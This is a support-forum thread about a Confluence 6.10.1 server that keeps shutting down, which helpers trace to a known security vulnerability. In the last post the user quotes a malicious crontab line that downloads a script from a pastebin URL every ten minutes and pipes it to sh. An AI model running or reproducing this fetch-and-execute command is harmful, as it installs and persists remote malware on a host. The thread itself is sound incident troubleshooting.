confluence (6.10.1) keeps shutting down

[paulkim1]

confluence keeps shutting down and not sure where to start investigation.  I have the last few lines of log files and nothing in the log indicates confluence shut down.

The last few lines of /opt/atlassian/confluence/logs/catalina.out contains just the startup message as below:

01-May-2019 22:42:02.965 INFO [localhost-startStop-2] org.springframework.context.support.DefaultLifecycleProcessor.start Starting beans in phase 2147483647
01-May-2019 22:42:02.993 INFO [localhost-startStop-2] org.springframework.web.servlet.DispatcherServlet.initServletBean FrameworkServlet 'dispatcher': initialization completed in 1188 ms

The last few lines in /var/atlassian/application-data/confluence/logs/atlassian-confluence.log contains:

2019-05-01 22:43:05,714 INFO [ListenableFutureAdapter-thread-1] [plugins.synchrony.bootstrap.DefaultSynchronyProcessManager] updateSynchronyConfiguration Synchrony External Base URL: https://confluence.inlogic.ca/synchrony,https://confluence.inlogic.ca/synchrony-proxy
2019-05-01 22:43:05,715 INFO [ListenableFutureAdapter-thread-1] [plugins.synchrony.bootstrap.DefaultSynchronyProcessManager] updateSynchronyConfiguration Synchrony External Service URL: https://confluence.inlogic.ca/synchrony/v1
2019-05-01 22:43:05,715 INFO [ListenableFutureAdapter-thread-1] [plugins.synchrony.bootstrap.DefaultSynchronyProcessManager] updateSynchronyConfiguration Synchrony Internal Service URL: http://127.0.0.1:8091/synchrony/v1

Looking for some help as to where to look to find more details

thanks

Paul

[JP _AC Bielefeld Leader_ · Accepted solution]

Hi,

is your Confluence site accessible from the internet? Maybe this:

https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html

could be your problem.

Best

JP

[Stephen Sifers]

Hello Paul,

Thank you for taking the time to gather the log information and sending it over. Unfortunately, these logs don’t tell us why Confluence is crashing or stopping. As Jan-Peter stated, you may be impacted by the recent security exploit within Confluence, but we want to ensure this is the case before you go down that path.

@Daniel Eads put together an excellent article covering what to look for if you part of the exploit. You may find this article at Confluence CVEs and common questions. Along with this, could you please include more of the logs around the time of startup and crash (We will need more than just the last few lines, include from the start of the service until it crashes).

We look forward to hearing back to find the cause of your Confluence instance crashes.

Regards,
Stephen Sifers

[paulkim1]

Thank you, Jan-Peter and Stephen.  That was the exact problem.  Your suggested linked solved the issue.

In the crontab, I noticed the following entry.  I am still surprised that a crontab entry was created. 

*/10 * * * * (curl -fsSL https://pastebin.com/raw/wtCwquiX||wget -q -O- https://pastebin.com/raw/wtCwquiX)|sh

I followed through instructions and disabled the following for now.

• WebDAV plugin
• Widget Connector

We will find time later to upgrade.

Thanks for your help and please consider this issue to be resolved.

Paul